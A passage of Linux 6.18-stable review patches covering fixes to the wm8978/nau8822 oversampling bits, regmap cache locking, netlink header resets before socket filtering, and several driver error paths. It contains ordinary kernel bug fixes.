index 8c45ba6fc4c3a..e9ef9bf4be095 100644
--- a/sound/soc/codecs/wm8978.c
+++ b/sound/soc/codecs/wm8978.c
@@ -255,9 +255,9 @@ static const struct snd_kcontrol_new wm8978_snd_controls[] = {
/* DAC / ADC oversampling */
SOC_SINGLE("DAC 128x Oversampling Switch", WM8978_DAC_CONTROL,
- 5, 1, 0),
+ 3, 1, 0),
SOC_SINGLE("ADC 128x Oversampling Switch", WM8978_ADC_CONTROL,
- 5, 1, 0),
+ 3, 1, 0),
};
/* Mixer #1: Output (OUT1, OUT2) Mixer: mix AUX, Input mixer output and DAC */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 037/193] ASoC: nau8822: Fix the 128x oversampling switch bits
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (35 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 036/193] ASoC: wm8978: Fix the 128x oversampling switch bits Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 038/193] regcache: Add ->populate() callback to separate from ->init() Greg Kroah-Hartman
` (166 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit 4db45fc1da3d62d0fa6e8f1e457ae92e8741ed07 ]
The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14.
The NAU8822 datasheet register map puts DACOS and ADCOS at bit 3 of
those registers.
In R14, bit 5 is inside HPF[6:4], which the High Pass Cut Off control
owns. So turning on ADC oversampling changes the high pass cut-off, and
the oversampling bit cannot be set. In R10, bit 5 is reserved, so the
DAC switch has no effect.
Use bit 3 for both.
Fixes: 1e3cb6c321be ("ASoC: nau8822: new codec driver")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-7-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/nau8822.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/sound/soc/codecs/nau8822.c b/sound/soc/codecs/nau8822.c
index 15d6f8d01f782..1386ba6041998 100644
--- a/sound/soc/codecs/nau8822.c
+++ b/sound/soc/codecs/nau8822.c
@@ -380,9 +380,9 @@ static const struct snd_kcontrol_new nau8822_snd_controls[] = {
NAU8822_REG_RIGHT_ADC_BOOST_CONTROL, 0, 7, 0, boost_tlv),
SOC_SINGLE("DAC 128x Oversampling Switch",
- NAU8822_REG_DAC_CONTROL, 5, 1, 0),
+ NAU8822_REG_DAC_CONTROL, 3, 1, 0),
SOC_SINGLE("ADC 128x Oversampling Switch",
- NAU8822_REG_ADC_CONTROL, 5, 1, 0),
+ NAU8822_REG_ADC_CONTROL, 3, 1, 0),
};
/* LMAIN and RMAIN Mixer */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 038/193] regcache: Add ->populate() callback to separate from ->init()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (36 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 037/193] ASoC: nau8822: " Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 039/193] regcache: Do not overwrite error code when finalizing cache after error Greg Kroah-Hartman
` (165 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Andy Shevchenko, Charles Keepax,
Mark Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
[ Upstream commit 94a3a95f03154d8d4c6206950a7f6ef9a30baec6 ]
In the future changes we would like to change the flow of the cache handling.
Add ->populate() callback in order to prepare for that.
Signed-off-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Reviewed-by: Charles Keepax <ckeepax@opensource.cirrus.com>
Link: https://patch.msgid.link/20251031080540.3970776-2-andriy.shevchenko@linux.intel.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Stable-dep-of: abff0a48b110 ("regmap: Drop map lock during cache init and exit")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/base/regmap/internal.h | 1 +
drivers/base/regmap/regcache.c | 16 ++++++++++++++++
2 files changed, 17 insertions(+)
diff --git a/drivers/base/regmap/internal.h b/drivers/base/regmap/internal.h
index 6f31240ee4a9a..6efed02c21c5f 100644
--- a/drivers/base/regmap/internal.h
+++ b/drivers/base/regmap/internal.h
@@ -186,6 +186,7 @@ struct regcache_ops {
enum regcache_type type;
int (*init)(struct regmap *map);
int (*exit)(struct regmap *map);
+ int (*populate)(struct regmap *map);
#ifdef CONFIG_DEBUG_FS
void (*debugfs_init)(struct regmap *map);
#endif
diff --git a/drivers/base/regmap/regcache.c b/drivers/base/regmap/regcache.c
index c7650fa434add..149945690cdf1 100644
--- a/drivers/base/regmap/regcache.c
+++ b/drivers/base/regmap/regcache.c
@@ -221,8 +221,24 @@ int regcache_init(struct regmap *map, const struct regmap_config *config)
if (ret)
goto err_free;
}
+
+ if (map->num_reg_defaults && map->cache_ops->populate) {
+ dev_dbg(map->dev, "Populating %s cache\n", map->cache_ops->name);
+ map->lock(map->lock_arg);
+ ret = map->cache_ops->populate(map);
+ map->unlock(map->lock_arg);
+ if (ret)
+ goto err_exit;
+ }
return 0;
+err_exit:
+ if (map->cache_ops->exit) {
+ dev_dbg(map->dev, "Destroying %s cache\n", map->cache_ops->name);
+ map->lock(map->lock_arg);
+ ret = map->cache_ops->exit(map);
+ map->unlock(map->lock_arg);
+ }
err_free:
kfree(map->reg_defaults);
if (map->cache_free)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 039/193] regcache: Do not overwrite error code when finalizing cache after error
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (37 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 038/193] regcache: Add ->populate() callback to separate from ->init() Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 040/193] regmap: Drop map lock during cache init and exit Greg Kroah-Hartman
` (164 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Francesco Lavra, Mark Brown,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Francesco Lavra <flavra@baylibre.com>
[ Upstream commit 9108f7fa493b4c88cbc09503e0c164244456bad5 ]
During regcache initialization, if an error occurs in the
cache_ops->populate callback, and if cache operations include an exit
callback, the error code from populate() is overwritten with the return
value from exit(). This hides the error condition from the caller of
regcache_init(), and can cause NULL pointer dereferences when the regcache
is later accessed.
Fixes: 94a3a95f0315 ("regcache: Add ->populate() callback to separate from ->init()")
Signed-off-by: Francesco Lavra <flavra@baylibre.com>
Link: https://patch.msgid.link/20260616114429.1852456-1-flavra@baylibre.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Stable-dep-of: abff0a48b110 ("regmap: Drop map lock during cache init and exit")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/base/regmap/regcache.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/base/regmap/regcache.c b/drivers/base/regmap/regcache.c
index 149945690cdf1..e3f53d03340d7 100644
--- a/drivers/base/regmap/regcache.c
+++ b/drivers/base/regmap/regcache.c
@@ -236,7 +236,7 @@ int regcache_init(struct regmap *map, const struct regmap_config *config)
if (map->cache_ops->exit) {
dev_dbg(map->dev, "Destroying %s cache\n", map->cache_ops->name);
map->lock(map->lock_arg);
- ret = map->cache_ops->exit(map);
+ map->cache_ops->exit(map);
map->unlock(map->lock_arg);
}
err_free:
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 040/193] regmap: Drop map lock during cache init and exit
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (38 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 039/193] regcache: Do not overwrite error code when finalizing cache after error Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 041/193] netlink: reset skb headers before unicast and multicast filtering Greg Kroah-Hartman
` (163 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mark Brown, Liam R. Howlett,
Michael Reeves, Peng Fan, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Reeves <michael.reeves077@gmail.com>
[ Upstream commit abff0a48b110fe52d43999b4cb7c793a510a6bf1 ]
On systems with CONFIG_PROVE_RAW_LOCK_NESTING enabled, Apple GPIO probe
triggers an "Invalid wait context" lockdep warning.
The driver uses a regmap with a raw spinlock and REGCACHE_FLAT. During
regcache_init(), regcache_flat_init() allocates memory while holding the
raw spinlock. The memory allocator can acquire a non-raw spinlock, which
causes an invalid raw-to-non-raw lock nesting error. The abbreviated call
chain is:
apple_gpio_pinctrl_probe
regcache_init
regcache_flat_init
__kmalloc_noprof
__pcs_replace_empty_main
refill_objects
_raw_spin_lock_irqsave
Cache allocation occurs before the regmap is published, cache destruction
occurs after users have stopped accessing it, and regmap_reinit_cache()
requires callers to prevent concurrent access. Remove the outer map lock
from cache initialization and destruction. Keep it for cache population
and normal register access.
The Maple cache still uses its internal spinlock during teardown. That
lock can also be acquired from hard IRQ context during register access.
Add Maple-state irqsave helpers and use them during teardown to preserve
the lock's IRQ-safe lockdep state.
Fixes: fd4ebc07b4df ("regmap: Hold the regmap lock when allocating and freeing the cache")
Suggested-by: Mark Brown <broonie@kernel.org>
Suggested-by: Liam R. Howlett <liam@infradead.org>
Signed-off-by: Michael Reeves <michael.reeves077@gmail.com>
Reviewed-by: Peng Fan <peng.fan@nxp.com>
Link: https://patch.msgid.link/20261006-regcache-lifecycle-submit-v3-2-37bdd82fd47c@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/base/regmap/regcache-maple.c | 9 +++++++--
drivers/base/regmap/regcache.c | 6 ------
include/linux/maple_tree.h | 4 ++++
3 files changed, 11 insertions(+), 8 deletions(-)
diff --git a/drivers/base/regmap/regcache-maple.c b/drivers/base/regmap/regcache-maple.c
index 9cf0384ce7b95..38a648efa6069 100644
--- a/drivers/base/regmap/regcache-maple.c
+++ b/drivers/base/regmap/regcache-maple.c
@@ -295,16 +295,21 @@ static int regcache_maple_exit(struct regmap *map)
struct maple_tree *mt = map->cache;
MA_STATE(mas, mt, 0, UINT_MAX);
unsigned int *entry;
+ unsigned long flags;
/* if we've already been called then just return */
if (!mt)
return 0;
- mas_lock(&mas);
+ /*
+ * Register access may take the Maple lock from hard IRQ context, so
+ * preserve its IRQ-safe lockdep state during teardown.
+ */
+ mas_lock_irqsave(&mas, flags);
mas_for_each(&mas, entry, UINT_MAX)
kfree(entry);
__mt_destroy(mt);
- mas_unlock(&mas);
+ mas_unlock_irqrestore(&mas, flags);
kfree(mt);
map->cache = NULL;
diff --git a/drivers/base/regmap/regcache.c b/drivers/base/regmap/regcache.c
index e3f53d03340d7..57757adad1f56 100644
--- a/drivers/base/regmap/regcache.c
+++ b/drivers/base/regmap/regcache.c
@@ -215,9 +215,7 @@ int regcache_init(struct regmap *map, const struct regmap_config *config)
if (map->cache_ops->init) {
dev_dbg(map->dev, "Initializing %s cache\n",
map->cache_ops->name);
- map->lock(map->lock_arg);
ret = map->cache_ops->init(map);
- map->unlock(map->lock_arg);
if (ret)
goto err_free;
}
@@ -235,9 +233,7 @@ int regcache_init(struct regmap *map, const struct regmap_config *config)
err_exit:
if (map->cache_ops->exit) {
dev_dbg(map->dev, "Destroying %s cache\n", map->cache_ops->name);
- map->lock(map->lock_arg);
map->cache_ops->exit(map);
- map->unlock(map->lock_arg);
}
err_free:
kfree(map->reg_defaults);
@@ -261,9 +257,7 @@ void regcache_exit(struct regmap *map)
if (map->cache_ops->exit) {
dev_dbg(map->dev, "Destroying %s cache\n",
map->cache_ops->name);
- map->lock(map->lock_arg);
map->cache_ops->exit(map);
- map->unlock(map->lock_arg);
}
}
diff --git a/include/linux/maple_tree.h b/include/linux/maple_tree.h
index 2ba53c0654678..983a57400563b 100644
--- a/include/linux/maple_tree.h
+++ b/include/linux/maple_tree.h
@@ -470,9 +470,13 @@ struct ma_wr_state {
};
#define mas_lock(mas) spin_lock(&((mas)->tree->ma_lock))
+#define mas_lock_irqsave(mas, flags) \
+ spin_lock_irqsave(&((mas)->tree->ma_lock), flags)
#define mas_lock_nested(mas, subclass) \
spin_lock_nested(&((mas)->tree->ma_lock), subclass)
#define mas_unlock(mas) spin_unlock(&((mas)->tree->ma_lock))
+#define mas_unlock_irqrestore(mas, flags) \
+ spin_unlock_irqrestore(&((mas)->tree->ma_lock), flags)
/*
* Special values for ma_state.node.
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 041/193] netlink: reset skb headers before unicast and multicast filtering
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (39 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 040/193] regmap: Drop map lock during cache init and exit Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 042/193] accel/rocket: clear rdev on device init failure Greg Kroah-Hartman
` (162 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Kyle Zeng, Paolo Abeni, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
[ Upstream commit 8bf659bd54e1f00e34cf5244b1d289c506fa47c0 ]
Socket filters can use SKF_NET_OFF and SKF_LL_OFF to read relative to
an skb's network and MAC headers. Netlink producers may reserve
headroom without resetting those headers, allowing a receiving socket's
filter to read data before the initialized message.
For example, IWPM HELLO replies are allocated with dev_alloc_skb(),
which reserves NET_SKB_PAD bytes. An unprivileged NETLINK_RDMA user can
attach a classic socket filter and disclose this headroom through the
length of the delivered reply. The resets in netlink_dump() do not help
because IWPM sends a separately allocated skb through netlink_unicast().
Reset both headers before running the receiver's filter in unicast and
broadcast delivery, as is already done for dump skbs. This also covers
other netlink producers that reserve headroom without changing their
allocation or message-building code.
Fixes: b1153f29ee07 ("netlink: make socket filters work on netlink")
Assisted-by: LLM
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Link: https://patch.msgid.link/20261006224232.50724-1-kylebot@openai.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/netlink/af_netlink.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/netlink/af_netlink.c b/net/netlink/af_netlink.c
index fd8e9cfe61717..c41fef11e518f 100644
--- a/net/netlink/af_netlink.c
+++ b/net/netlink/af_netlink.c
@@ -1345,6 +1345,8 @@ int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
if (netlink_is_kernel(sk))
return netlink_unicast_kernel(sk, skb, ssk);
+ skb_reset_network_header(skb);
+ skb_reset_mac_header(skb);
if (sk_filter(sk, skb)) {
err = skb->len;
kfree_skb(skb);
@@ -1479,6 +1481,8 @@ static void do_one_broadcast(struct sock *sk,
goto out;
}
+ skb_reset_network_header(p->skb2);
+ skb_reset_mac_header(p->skb2);
if (sk_filter(sk, p->skb2)) {
kfree_skb(p->skb2);
p->skb2 = NULL;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 042/193] accel/rocket: clear rdev on device init failure
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (40 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 041/193] netlink: reset skb headers before unicast and multicast filtering Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 043/193] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool Greg Kroah-Hartman
` (161 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Guangshuo Li, Igor Paunovic,
Heiko Stuebner, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Guangshuo Li <lgs201920130244@gmail.com>
[ Upstream commit 4ac852419f0d317c7bd8db5b8acb3cc78be7fe33 ]
rocket_probe() stores the return value from rocket_device_init() in the
file-scoped rdev pointer before checking whether it is an error pointer.
If rocket_device_init() fails, rdev is left as an ERR_PTR.
The rdev pointer is also used as the marker for whether the shared rocket
device has already been initialized. A later core probe can therefore see
a non-NULL rdev, skip rocket_device_init(), and dereference the error
pointer when reading rdev->num_cores.
Save the error code and clear rdev before returning from the
rocket_device_init() failure path.
Fixes: ed98261b4168 ("accel/rocket: Add a new driver for Rockchip's NPU")
Signed-off-by: Guangshuo Li <lgs201920130244@gmail.com>
Reviewed-by: Igor Paunovic <royalnet026@gmail.com>
Signed-off-by: Heiko Stuebner <heiko@sntech.de>
Link: https://patch.msgid.link/20260708062845.716487-1-lgs201920130244@gmail.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/accel/rocket/rocket_drv.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/accel/rocket/rocket_drv.c b/drivers/accel/rocket/rocket_drv.c
index f6ef4c7aeef11..3c4330f2f3ae8 100644
--- a/drivers/accel/rocket/rocket_drv.c
+++ b/drivers/accel/rocket/rocket_drv.c
@@ -165,8 +165,11 @@ static int rocket_probe(struct platform_device *pdev)
/* First core probing, initialize DRM device. */
rdev = rocket_device_init(drm_dev, &rocket_drm_driver);
if (IS_ERR(rdev)) {
+ int err = PTR_ERR(rdev);
+
dev_err(&pdev->dev, "failed to initialize rocket device\n");
- return PTR_ERR(rdev);
+ rdev = NULL;
+ return err;
}
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 043/193] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (41 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 042/193] accel/rocket: clear rdev on device init failure Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 044/193] net/mlx5: HWS, fix flow meter offset within its bulk Greg Kroah-Hartman
` (160 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexandre Cassen, Yevgeny Kliteynik,
Tariq Toukan, Paolo Abeni, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexandre Cassen <acassen@corp.free.fr>
[ Upstream commit 39e02ddf74bbe9c9080555232ba8100462cba2ad ]
L2 to L3 tunnel reformats are now released to the el2tol3tnl pools.
Fixes: aecd9d1020e3 ("net/mlx5: fs, add HWS packet reformat API function")
Signed-off-by: Alexandre Cassen <acassen@corp.free.fr>
Reviewed-by: Yevgeny Kliteynik <kliteyn@nvidia.com>
Acked-by: Tariq Toukan <tariqt@nvidia.com>
Link: https://patch.msgid.link/20261007143830.1733583-2-acassen@corp.free.fr
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
index c45a7ca66ad8e..9e8dd5241ff4b 100644
--- a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
+++ b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
@@ -1401,8 +1401,8 @@ static void mlx5_cmd_hws_packet_reformat_dealloc(struct mlx5_flow_root_namespace
pr_data->data_size);
break;
case MLX5_REFORMAT_TYPE_L2_TO_L3_TUNNEL:
- pr_pool = mlx5_fs_get_pr_encap_pool(dev, &hws_pool->el2tol2tnl_pools,
- MLX5HWS_ACTION_TYP_REFORMAT_L2_TO_TNL_L2,
+ pr_pool = mlx5_fs_get_pr_encap_pool(dev, &hws_pool->el2tol3tnl_pools,
+ MLX5HWS_ACTION_TYP_REFORMAT_L2_TO_TNL_L3,
pr_data->data_size);
break;
case MLX5_REFORMAT_TYPE_L3_TUNNEL_TO_L2:
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 044/193] net/mlx5: HWS, fix flow meter offset within its bulk
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (42 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 043/193] net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 045/193] ASoC: amd: yc: disable MSI on resume Greg Kroah-Hartman
` (159 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Alexandre Cassen, Moshe Shemesh,
Tariq Toukan, Paolo Abeni, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexandre Cassen <acassen@corp.free.fr>
[ Upstream commit 1b0aad53ad715b15ccbad8c65d15c149c925f00a ]
The flow meter action is bound to the first ASO object of the bulk but
the rule offset only indexes the meter within its own object. A rule
past the first object runs on the wrong meter.
Fixes: 82d3639ef7dc ("net/mlx5: fs, add support for flow meters HWS action")
Signed-off-by: Alexandre Cassen <acassen@corp.free.fr>
Reviewed-by: Moshe Shemesh <moshe@nvidia.com>
Acked-by: Tariq Toukan <tariqt@nvidia.com>
Link: https://patch.msgid.link/20261007143830.1733583-3-acassen@corp.free.fr
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
index 9e8dd5241ff4b..5745ba84c3a0f 100644
--- a/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
+++ b/drivers/net/ethernet/mellanox/mlx5/core/steering/hws/fs_hws.c
@@ -931,6 +931,7 @@ static int mlx5_fs_fte_get_hws_actions(struct mlx5_flow_root_namespace *ns,
goto free_actions;
}
(*ractions)[num_actions].aso_meter.offset =
+ (fte_action->exe_aso.object_id - fte_action->exe_aso.base_id) * 2 +
fte_action->exe_aso.flow_meter.meter_idx;
(*ractions)[num_actions].aso_meter.init_color =
fte_action->exe_aso.flow_meter.init_color;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 045/193] ASoC: amd: yc: disable MSI on resume
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (43 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 044/193] net/mlx5: HWS, fix flow meter offset within its bulk Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 046/193] drm/xe: skip eviction of a BO with no resource Greg Kroah-Hartman
` (158 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Marek Borůvka,
Mario Limonciello, Mark Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mario Limonciello <mario.limonciello@amd.com>
[ Upstream commit 2a31b5378c6db9c4a8d399e5d10d32cd4b732bef ]
BIOS/firmware may re-enable MSI in PCI config space during system
resume even though this driver only uses legacy INTx interrupts. If MSI
is left enabled with stale address and data registers, the device can
write interrupts to a bogus address and cause an IOMMU IO_PAGE_FAULT.
Clear the MSI Enable bit before reinitializing ACP hardware on system
resume. Keep runtime resume separate because firmware does not restore
PCI configuration on that path.
Fixes: c8212df7bc0f ("ASoC: amd: add acp6x pci driver pm ops")
Reported-by: Marek Borůvka <boruvka.marek@gmail.com>
Closes: https://bugzilla.kernel.org/show_bug.cgi?id=222119
Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
Link: https://patch.msgid.link/20261013125425.3541206-1-mario.limonciello@amd.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/amd/yc/pci-acp6x.c | 38 ++++++++++++++++++++++++++++++++++--
1 file changed, 36 insertions(+), 2 deletions(-)
diff --git a/sound/soc/amd/yc/pci-acp6x.c b/sound/soc/amd/yc/pci-acp6x.c
index 1140ed1cbb3d1..b72b7ae1a2563 100644
--- a/sound/soc/amd/yc/pci-acp6x.c
+++ b/sound/soc/amd/yc/pci-acp6x.c
@@ -289,7 +289,7 @@ static int snd_acp6x_suspend(struct device *dev)
return ret;
}
-static int snd_acp6x_resume(struct device *dev)
+static int snd_acp6x_runtime_resume(struct device *dev)
{
struct acp6x_dev_data *adata;
int ret;
@@ -301,8 +301,42 @@ static int snd_acp6x_resume(struct device *dev)
return ret;
}
+static void acp6x_disable_msi_on_resume(struct pci_dev *pdev)
+{
+ u16 control;
+
+ if (!pdev->msi_cap)
+ return;
+
+ pci_read_config_word(pdev, pdev->msi_cap + PCI_MSI_FLAGS, &control);
+ if (control & PCI_MSI_FLAGS_ENABLE) {
+ dev_warn(&pdev->dev,
+ "ACP: MSI unexpectedly enabled after resume (flags=0x%04x), disabling\n",
+ control);
+ control &= ~PCI_MSI_FLAGS_ENABLE;
+ pci_write_config_word(pdev, pdev->msi_cap + PCI_MSI_FLAGS, control);
+ }
+}
+
+static int snd_acp6x_resume(struct device *dev)
+{
+ struct pci_dev *pdev = to_pci_dev(dev);
+
+ /*
+ * BIOS/firmware may re-enable MSI in PCI config space during
+ * system resume even though this driver only uses legacy INTx
+ * interrupts. If MSI is left enabled with stale address/data
+ * registers, the device will write interrupts to a bogus address
+ * causing IOMMU IO_PAGE_FAULT and interrupt delivery failure.
+ * Explicitly clear the MSI Enable bit before reinitializing
+ * the ACP hardware.
+ */
+ acp6x_disable_msi_on_resume(pdev);
+ return snd_acp6x_runtime_resume(dev);
+}
+
static const struct dev_pm_ops acp6x_pm = {
- RUNTIME_PM_OPS(snd_acp6x_suspend, snd_acp6x_resume, NULL)
+ RUNTIME_PM_OPS(snd_acp6x_suspend, snd_acp6x_runtime_resume, NULL)
SYSTEM_SLEEP_PM_OPS(snd_acp6x_suspend, snd_acp6x_resume)
};
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 046/193] drm/xe: skip eviction of a BO with no resource
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (44 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 045/193] ASoC: amd: yc: disable MSI on resume Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 047/193] drm/xe/oa: Zero OA buffer at allocation Greg Kroah-Hartman
` (157 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Niranjana Vishwanathapura,
Tejas Upadhyay, Rodrigo Vivi, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
[ Upstream commit 448e76cbdc6652ccd3ba337b7a6e1f028859f2ed ]
xe_evict_flags() switches on tbo->resource->mem_type to choose an
eviction placement. An xe BO can reach eviction with no ttm.resource,
e.g. an imported dma-buf BO whose resource was freed during teardown
while its attachment is still live: the exporter then invalidates it via
xe_dma_buf_move_notify() -> xe_bo_evict(), and the switch dereferences a
NULL resource and faults.
A BO with no resource has nothing placed or mapped, so there is nothing
to evict. Return an empty placement (num_placement = 0), mirroring the
handling already used for non-xe scatter-gather BOs just above;
